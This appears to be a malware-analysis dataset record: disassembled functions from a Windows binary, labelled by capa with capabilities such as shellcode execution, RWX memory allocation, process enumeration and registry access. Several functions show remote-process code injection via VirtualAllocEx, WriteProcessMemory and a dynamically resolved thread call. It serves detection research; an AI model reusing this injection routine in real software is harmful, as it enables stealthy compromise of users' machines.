joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140008100
Capabilities:
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x20
mov r8d, dword [0x1400a6200]
xor edi, edi
mov rbx, rdx
test r8d, r8d
je 0x1400081b8
sub r8d, 1
je 0x1400081a9
sub r8d, 1
je 0x140008191
sub r8d, 1
je 0x14000816c
cmp r8d, 1
jne 0x1400081e0
mov eax, dword [0x1400a6210]
test eax, eax
jle 0x1400081e0
test rdx, rdx
jle 0x1400081e0
mov r8, rdx
mov edx, ecx
mov ecx, eax
mov rbx, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
jmp fcn.140004d70
mov eax, dword [0x1400a6210]
test eax, eax
jle 0x1400081e0
test rbx, rbx
jle 0x1400081e0
mov edx, ecx
mov r8, rbx
mov ecx, eax
mov rbx, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
jmp fcn.14003a080
mov r9d, 0x8000
xor r8d, r8d
mov rbx, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
jmp fcn.14003a6b0
mov rbx, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
jmp fcn.140039b70
mov qword [rsp + 0x30], rsi
call fcn.140039ad0
mov esi, eax
test eax, eax
jle 0x1400081d4
mov rdx, rbx
mov ecx, eax
call fcn.140039b70
mov edi, eax
mov ecx, esi
call fcn.140039b90
mov rsi, qword [rsp + 0x30]
mov rbx, qword [rsp + 0x38]
mov eax, edi
add rsp, 0x20
pop rdi
ret

Function at 0x14000dfd0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rbx, rdx
mov rdi, rcx
call fcn.14001aab0
mov r8, qword [rbx]
mov rcx, rbx
mov rsi, rax
call qword [r8 + 0x28]
cmp rsi, rax
je 0x14000e02d
mov r8d, dword [rsi + 0x18]
cmp dword [rax + 0x18], r8d
jne 0x14000e125
mov r8, qword [rsi + 0x10]
cmp qword [rax + 0x10], r8
jne 0x14000e125
mov rdx, qword [rsi + 8]
mov rcx, qword [rax + 8]
call fcn.14004dcd0
test eax, eax
jne 0x14000e125
movzx eax, byte [rbx + 8]
xor al, byte [rdi + 8]
test al, 1
jne 0x14000e125
mov rax, qword [rbx + 0x10]
cmp qword [rdi + 0x10], rax
jne 0x14000e125
movzx eax, word [rbx + 0x18]
cmp word [rdi + 0x18], ax
jne 0x14000e125
movzx eax, word [rbx + 0x1a]
cmp word [rdi + 0x1a], ax
jne 0x14000e125
movzx eax, word [rbx + 0x1c]
cmp word [rdi + 0x1c], ax
jne 0x14000e125
lea rcx, [rbx + 0x20]
call fcn.1400416c0
lea rcx, [rdi + 0x20]
mov rsi, rax
call fcn.1400416c0
sub rsi, rax
nop dword [rax]
movzx edx, word [rax]
movzx ecx, word [rax + rsi]
sub edx, ecx
jne 0x14000e0a3
add rax, 2
test ecx, ecx
jne 0x14000e090
test edx, edx
jne 0x14000e125
mov rax, qword [rbx + 0x78]
cmp qword [rdi + 0x78], rax
jne 0x14000e125
movzx eax, word [rbx + 0x80]
cmp word [rdi + 0x80], ax
jne 0x14000e125
mov eax, dword [rbx + 0x84]
cmp dword [rdi + 0x84], eax
jne 0x14000e125
mov eax, dword [rbx + 0x88]
cmp dword [rdi + 0x88], eax
jne 0x14000e125
mov eax, dword [rbx + 0x8c]
cmp dword [rdi + 0x8c], eax
jne 0x14000e125
mov eax, dword [rbx + 0x90]
cmp dword [rdi + 0x90], eax
jne 0x14000e125
lea rdx, [rbx + 0x98]
lea rcx, [rdi + 0x98]
call fcn.14000ab30
test eax, eax
jne 0x14000e125
mov eax, 1
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
mov rbx, qword [rsp + 0x30]
xor eax, eax
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x140026d80
Capabilities:
Query environment variable
Query or enumerate registry value

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
mov qword [rsp + 8], rcx
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x2f]
sub rsp, 0xb0
mov rdi, r9
mov r14, r8
mov r15, rdx
mov rsi, rcx
xor r12d, r12d
mov dword [rbp - 0x4d], r12d
lea r13, vtable.CVolObject.0
mov qword [rcx], r13
mov qword [rcx + 8], r12
mov qword [rcx + 0x10], r12
lea rax, vtable.CWString.0
mov qword [rcx], rax
add rcx, 0x20
call fcn.14003dd80
nop
mov qword [rsi + 0x18], r12
mov qword [rsi + 0x50], 0xfe
mov dword [rbp - 0x4d], 1
mov rax, qword [rsi]
mov rdx, qword [rax + 0x88]
lea rax, [sym.Niuline.exe_public:_void___cdecl_CMD5::destructor_void____ptr64]
cmp rdx, rax
je 0x140026e10
mov rcx, rsi
call rdx
mov rdx, qword [rbp + 0x7f]
mov rax, qword [rdx + 8]
mov qword [rsi + 8], rax
mov rax, qword [rdx + 0x10]
mov qword [rsi + 0x10], rax
mov rcx, rsi
call fcn.140041fa0
mov rcx, r14
call fcn.1400416c0
mov rdx, rax
lea rax, [rbp - 0x49]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
mov rcx, r15
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140026fa5
mov dword [rbp + 0x7f], r12d
mov rcx, rdi
call fcn.1400416c0
lea rcx, [rbp + 0x7f]
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], r12
lea r9, [rbp - 0x51]
xor r8d, r8d
mov rdx, rax
mov rcx, qword [rbp - 0x49]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x140026f9b
mov eax, dword [rbp - 0x51]
dec eax
cmp eax, 1
ja 0x140026f9b
lea rcx, [rbp - 9]
call fcn.14003dd80
nop
lea rcx, [rbp - 0x41]
call fcn.14003dd80
nop
mov edx, dword [rbp + 0x7f]
add rdx, 2
lea rcx, [rbp - 9]
call fcn.14003e050
mov rbx, rax
mov r8, qword [rbp + 0x1f]
xor edx, edx
mov rcx, qword [rbp + 0xf]
call fcn.140064760
mov rcx, rdi
call fcn.1400416c0
lea rcx, [rbp + 0x7f]
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rbx
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
mov rcx, qword [rbp - 0x49]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x140026f70
mov r14, qword [rbp + 0xf]
cmp qword [rbp + 0x1f], 0
cmove r14, r12
cmp dword [rbp - 0x51], 2
jne 0x140026f64
xor r8d, r8d
xor edx, edx
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
mov edi, eax
lea rdx, [rdi*2 + 4]
lea rcx, [rbp - 0x41]
call fcn.14003e050
mov rbx, rax
mov r8, qword [rbp - 0x19]
xor edx, edx
mov rcx, qword [rbp - 0x29]
call fcn.140064760
lea r8d, [rdi + 1]
mov rdx, rbx
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
mov r14, qword [rbp - 0x29]
cmp qword [rbp - 0x19], 0
cmove r14, r12
mov rdx, r14
mov rcx, rsi
call fcn.140041cd0
nop
lea rbx, vtable.CVolMem.0
mov qword [rbp - 0x41], rbx
lea rcx, [rbp - 0x41]
call fcn.14003e260
nop
mov qword [rbp - 0x41], r13
mov qword [rbp - 9], rbx
lea rcx, [rbp - 9]
call fcn.14003e260
nop
mov qword [rbp - 9], r13
mov rcx, qword [rbp - 0x49]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rax, rsi
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
Function at 0x140026fd0
Capabilities:
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0x100
mov r15, r8
mov rbx, rdx
mov r14, rcx
lea rax, vtable.CVolCommonBaseWithMemManager.0
mov qword [rbp - 0x39], rax
lea r12, vtable.CVolObject.0
mov qword [rbp - 0x39], r12
xor esi, esi
mov qword [rbp - 0x31], rsi
mov qword [rbp - 0x29], rsi
lea r13, vtable.CWString.0
mov qword [rbp - 0x39], r13
lea rcx, [rbp - 0x19]
call fcn.14003dd80
nop
mov qword [rbp - 0x21], rsi
mov qword [rbp + 0x17], 0xfe
mov rcx, rbx
call fcn.1400416c0
mov rbx, rax
lea edx, [rsi + 0x5c]
mov rcx, rax
call fcn.140048b40
mov rdi, rax
test rax, rax
je 0x140027075
mov r8, rax
sub r8, rbx
sar r8, 1
mov rdx, rbx
lea rcx, [rbp - 0x39]
call fcn.140041d40
lea rbx, [rdi + 2]
lea rax, vtable.CVolCommonBaseWithMemManager.0
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x30], r13
lea rcx, [rbp - 0x79]
call fcn.14003dd80
nop
mov qword [rsp + 0x48], rsi
mov qword [rbp - 0x49], 0xfe
mov qword [rsp + 0x30], r13
mov rdx, rbx
lea rcx, [rsp + 0x30]
call fcn.140041240
nop
lea rcx, [rbp - 0x39]
call fcn.1400416c0
mov rdx, rax
lea rax, [rbp + 0x7f]
mov qword [rsp + 0x20], rax
mov r9d, 0x20006
xor r8d, r8d
mov rcx, r14
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x140027107
lea rcx, [rbp - 0x39]
call fcn.1400416c0
mov rdx, rax
lea r8, [rbp + 0x7f]
mov rcx, r14
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x14002715c
mov rcx, r15
call fcn.140041670
lea edi, [rax*2 + 2]
mov rcx, r15
call fcn.1400416c0
mov rbx, rax
lea rcx, [rsp + 0x30]
call fcn.1400416c0
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rbx
mov r9d, 1
xor r8d, r8d
mov rdx, rax
mov rcx, qword [rbp + 0x7f]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ebx, eax
mov rcx, qword [rbp + 0x7f]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test ebx, ebx
sete sil
lea rax, [rbp - 0x79]
mov qword [rbp + 0x7f], rax
lea rbx, vtable.CVolMem.0
mov qword [rbp - 0x79], rbx
lea rcx, [rbp - 0x79]
call fcn.14003e260
nop
mov qword [rbp - 0x79], r12
mov qword [rsp + 0x30], r12
lea rax, [rbp - 0x19]
mov qword [rbp + 0x27], rax
mov qword [rbp - 0x19], rbx
lea rcx, [rbp - 0x19]
call fcn.14003e260
nop
mov qword [rbp - 0x19], r12
mov qword [rbp - 0x39], r12
mov eax, esi
lea r11, [rsp + 0x100]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
Function at 0x140039a60
Capabilities:
Enumerate processes

Disassembly:
sub rsp, 0x28
call fcn.1400416c0
mov rcx, rax
add rsp, 0x28
jmp 0x1400464d0
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x270
xor edx, edx
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0xffffffffffffffff
jne 0x1400464fa
xor eax, eax
jmp 0x14004656d
lea rax, [rsp + 0x30]
mov rdi, rax
xor eax, eax
mov ecx, 0x238
rep stosb byte [rdi], al
mov dword [rsp + 0x30], 0x238
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x140046560
mov rdx, qword [rsp + 0x280]
lea rcx, [rsp + 0x5c]
call fcn.14004e44c
test eax, eax
jne 0x14004654d
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsp + 0x38]
jmp 0x14004656d
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x140046526
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
add rsp, 0x270
pop rdi
ret
Function at 0x140039a80
Capabilities:
Enumerate process modules
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov esi, ecx
mov rdi, rdx
mov rcx, rdx
xor ebx, ebx
call fcn.1400416c0
cmp word [rax], bx
je 0x140039aae
mov rcx, rdi
call fcn.1400416c0
mov rbx, rax
mov rdx, rbx
mov ecx, esi
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
jmp 0x140046580
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
sub rsp, 0x6b8
cmp dword [rsp + 0x6c0], 0
jne 0x1400465a1
xor eax, eax
jmp 0x1400466e9
cmp qword [rsp + 0x6c8], 0
jne 0x14004662a
xor edx, edx
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x30], 0x238
cmp qword [rsp + 0x20], 0xffffffffffffffff
jne 0x1400465d4
xor eax, eax
jmp 0x1400466e9
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x14004660b
mov eax, dword [rsp + 0x6c0]
cmp dword [rsp + 0x38], eax
jne 0x1400465f6
jmp 0x140046609
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x1400465e7
jmp 0x14004661d
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x1400466e9
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14004663c
mov rdx, qword [rsp + 0x6c8]
lea rcx, [rsp + 0x5c]
call fcn.140046410
mov ecx, dword [rsp + 0x6c0]
call fcn.140046700
test eax, eax
je 0x140046664
mov edx, dword [rsp + 0x6c0]
mov ecx, 0x18
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rsp + 0x20], rax
jmp 0x14004667a
mov edx, dword [rsp + 0x6c0]
mov ecx, 8
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x270], 0x438
lea rdx, [rsp + 0x270]
mov rcx, qword [rsp + 0x20]
call sub.KERNEL32.dll_Module32FirstW
test eax, eax
je 0x1400466dc
lea rdx, [rsp + 0x5c]
lea rcx, [rsp + 0x2a0]
call fcn.14004e44c
test eax, eax
jne 0x1400466c6
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [rsp + 0x288]
jmp 0x1400466e9
lea rdx, [rsp + 0x270]
mov rcx, qword [rsp + 0x20]
call sub.KERNEL32.dll_Module32NextW
test eax, eax
jne 0x14004669b
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
add rsp, 0x6b8
ret

Function at 0x140039b00
Capabilities:
Allocate or change rwx memory

Disassembly:
sub rsp, 0x38
test ecx, ecx
jle 0x140039b33
lea rax, [rsp + 0x40]
movsxd r8, r8d
movsxd rcx, ecx
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x40], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x140039b33
mov eax, dword [rsp + 0x40]
add rsp, 0x38
ret
xor eax, eax
add rsp, 0x38
ret

Function at 0x140039b40
Capabilities:
Allocate or change rwx memory

Disassembly:
sub rsp, 0x38
test ecx, ecx
jg 0x140039b4f
xor eax, eax
add rsp, 0x38
ret
movsxd r8, edx
mov r9d, 0x1000
xor edx, edx
movsxd rcx, ecx
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
add rsp, 0x38
ret
Function at 0x14003a540
Capabilities:
Link many functions at runtime

Disassembly:
jmp 0x140045050
mov qword [rsp + 8], rcx
sub rsp, 0x38
xor eax, eax
test eax, eax
je 0x140045066
xor eax, eax
jmp 0x1400451af
cmp qword [rsp + 0x40], 0
jne 0x140045075
xor eax, eax
jmp 0x1400451af
cmp qword [0x1400a8760], 0
jne 0x1400450a3
lea rcx, [0x140076478]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, [0x140076460]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400a8760], rax
mov rax, qword [rsp + 0x40]
mov qword [0x1400a8758], rax
mov dword [rsp + 0x20], 0
lea rcx, [0x140076488]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rsp + 0x28], rax
lea rdx, [0x140076498]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400a439b], rax
lea rdx, [0x1400764a8]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400a43fd], rax
lea rdx, [0x1400764c0]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400a445d], rax
lea rdx, [0x1400764d8]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400a4497], rax
lea rdx, [0x1400764f8]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400a44c3], rax
lea rdx, [0x140076508]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400a44d4], rax
lea rdx, [0x140076518]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400a4537], rax
lea rdx, [0x140076528]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400a457b], rax
lea rdx, [0x140076538]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400a45ca], rax
mov eax, 1
add rsp, 0x38
ret
Function at 0x14003a550
Capabilities:
Execute shellcode via indirect call

Disassembly:
jmp 0x140045460
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
mov dword [rsp + 8], ecx
push rsi
push rdi
sub rsp, 0xc8
lea rax, [rsp + 0x88]
lea rcx, [0x1400a4380]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_gethostbyname
rep movsb byte [rdi], byte [rsi]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8d, 0x200
xor edx, edx
mov rcx, qword [0x1400a8758]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x60], rax
cmp qword [rsp + 0x60], 0
jne 0x1400454c9
xor eax, eax
jmp 0x14004565f
mov rax, qword [rsp + 0x60]
add rax, 0x10
mov qword [rsp + 0x70], rax
mov eax, dword [rsp + 0xe8]
mov dword [rsp + 0x8f], eax
mov eax, dword [rsp + 0xf0]
mov dword [rsp + 0x96], eax
mov eax, dword [rsp + 0xe0]
mov dword [rsp + 0x9d], eax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0xb3], rax
mov qword [rsp + 0x78], 0
lea rax, [rsp + 0x80]
mov qword [rsp + 0x20], rax
mov r9d, reloc.WS2_32.dll_gethostbyname
lea r8, [rsp + 0x88]
mov rdx, qword [rsp + 0x70]
mov rcx, qword [0x1400a8758]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov qword [rsp + 0x68], 0
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 4
mov qword [rsp + 0x28], 0
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x20], rax
mov r9, qword [0x1400a8758]
xor r8d, r8d
mov edx, 0x1fffff
lea rcx, [rsp + 0x68]
call qword [0x1400a8760]
test eax, eax
je 0x1400455cc
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x60]
mov rcx, qword [0x1400a8758]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor eax, eax
jmp 0x14004565f
cmp qword [rsp + 0x68], 0
jne 0x1400455f3
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x60]
mov rcx, qword [0x1400a8758]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor eax, eax
jmp 0x14004565f
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [rsp + 0x70]
sub rax, 0x10
lea rcx, [rsp + 0x80]
mov qword [rsp + 0x20], rcx
mov r9d, 8
lea r8, [rsp + 0x78]
mov rdx, rax
mov rcx, qword [0x1400a8758]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x60]
mov rcx, qword [0x1400a8758]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rax, qword [rsp + 0x78]
add rsp, 0xc8
pop rdi
pop rsi
ret
Function at 0x14003a6a0
Capabilities:
Execute shellcode via indirect call

Disassembly:
movsxd r8, r8d
movsxd rcx, ecx
jmp 0x140045a00
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0xe8
cmp qword [rsp + 0x110], 0
jne 0x140045a2f
xor eax, eax
jmp 0x140045c33
lea rax, [rsp + 0x90]
lea rcx, [0x1400a4500]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x50
rep movsb byte [rdi], byte [rsi]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8d, 0x200
xor edx, edx
mov rcx, qword [0x1400a8758]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x60], rax
cmp qword [rsp + 0x60], 0
jne 0x140045a82
xor eax, eax
jmp 0x140045c33
mov rax, qword [rsp + 0x60]
add rax, 0x10
mov qword [rsp + 0x70], rax
mov rax, qword [rsp + 0x100]
mov qword [rsp + 0x96], rax
mov rax, qword [rsp + 0x108]
mov qword [rsp + 0xa0], rax
mov rax, qword [rsp + 0x110]
mov qword [rsp + 0xaa], rax
mov eax, dword [rsp + 0x118]
mov dword [rsp + 0xb5], eax
mov eax, dword [rsp + 0x120]
mov dword [rsp + 0xbc], eax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0xd7], rax
mov qword [rsp + 0x78], 0
lea rax, [rsp + 0x80]
mov qword [rsp + 0x20], rax
mov r9d, 0x50
lea r8, [rsp + 0x90]
mov rdx, qword [rsp + 0x70]
mov rcx, qword [0x1400a8758]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov qword [rsp + 0x68], 0
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 4
mov qword [rsp + 0x28], 0
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x20], rax
mov r9, qword [0x1400a8758]
xor r8d, r8d
mov edx, 0x1fffff
lea rcx, [rsp + 0x68]
call qword [0x1400a8760]
test eax, eax
je 0x140045ba7
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x60]
mov rcx, qword [0x1400a8758]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor eax, eax
jmp 0x140045c33
cmp qword [rsp + 0x68], 0
jne 0x140045bce
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x60]
mov rcx, qword [0x1400a8758]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor eax, eax
jmp 0x140045c33
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rax, [rsp + 0x80]
mov qword [rsp + 0x20], rax
mov r9d, 8
lea r8, [rsp + 0x78]
mov rdx, qword [rsp + 0x60]
mov rcx, qword [0x1400a8758]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x60]
mov rcx, qword [0x1400a8758]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rax, qword [rsp + 0x78]
add rsp, 0xe8
pop rdi
pop rsi
ret
Function at 0x14003a6b0
Capabilities:
Execute shellcode via indirect call

Disassembly:
movsxd r8, r8d
movsxd rcx, ecx
jmp 0x140045c40
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0xc8
cmp qword [rsp + 0xe8], 0
jne 0x140045c6f
xor eax, eax
jmp 0x140045e1b
lea rax, [rsp + 0x80]
lea rcx, [0x1400a4550]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x3a
rep movsb byte [rdi], byte [rsi]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8d, 0x200
xor edx, edx
mov rcx, qword [0x1400a8758]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x60], rax
cmp qword [rsp + 0x60], 0
jne 0x140045cc2
xor eax, eax
jmp 0x140045e1b
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x70], rax
mov rax, qword [rsp + 0xe0]
mov qword [rsp + 0x86], rax
mov rax, qword [rsp + 0xe8]
mov qword [rsp + 0x90], rax
mov rax, qword [rsp + 0xf0]
mov qword [rsp + 0x9a], rax
mov eax, dword [rsp + 0xf8]
mov dword [rsp + 0xa5], eax
lea rax, [rsp + 0x78]
mov qword [rsp + 0x20], rax
mov r9d, 0x3a
lea r8, [rsp + 0x80]
mov rdx, qword [rsp + 0x70]
mov rcx, qword [0x1400a8758]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov qword [rsp + 0x68], 0
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 4
mov qword [rsp + 0x28], 0
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x20], rax
mov r9, qword [0x1400a8758]
xor r8d, r8d
mov edx, 0x1fffff
lea rcx, [rsp + 0x68]
call qword [0x1400a8760]
test eax, eax
je 0x140045db9
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x60]
mov rcx, qword [0x1400a8758]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor eax, eax
jmp 0x140045e1b
cmp qword [rsp + 0x68], 0
jne 0x140045de0
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x60]
mov rcx, qword [0x1400a8758]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor eax, eax
jmp 0x140045e1b
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x60]
mov rcx, qword [0x1400a8758]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov eax, 1
add rsp, 0xc8
pop rdi
pop rsi
ret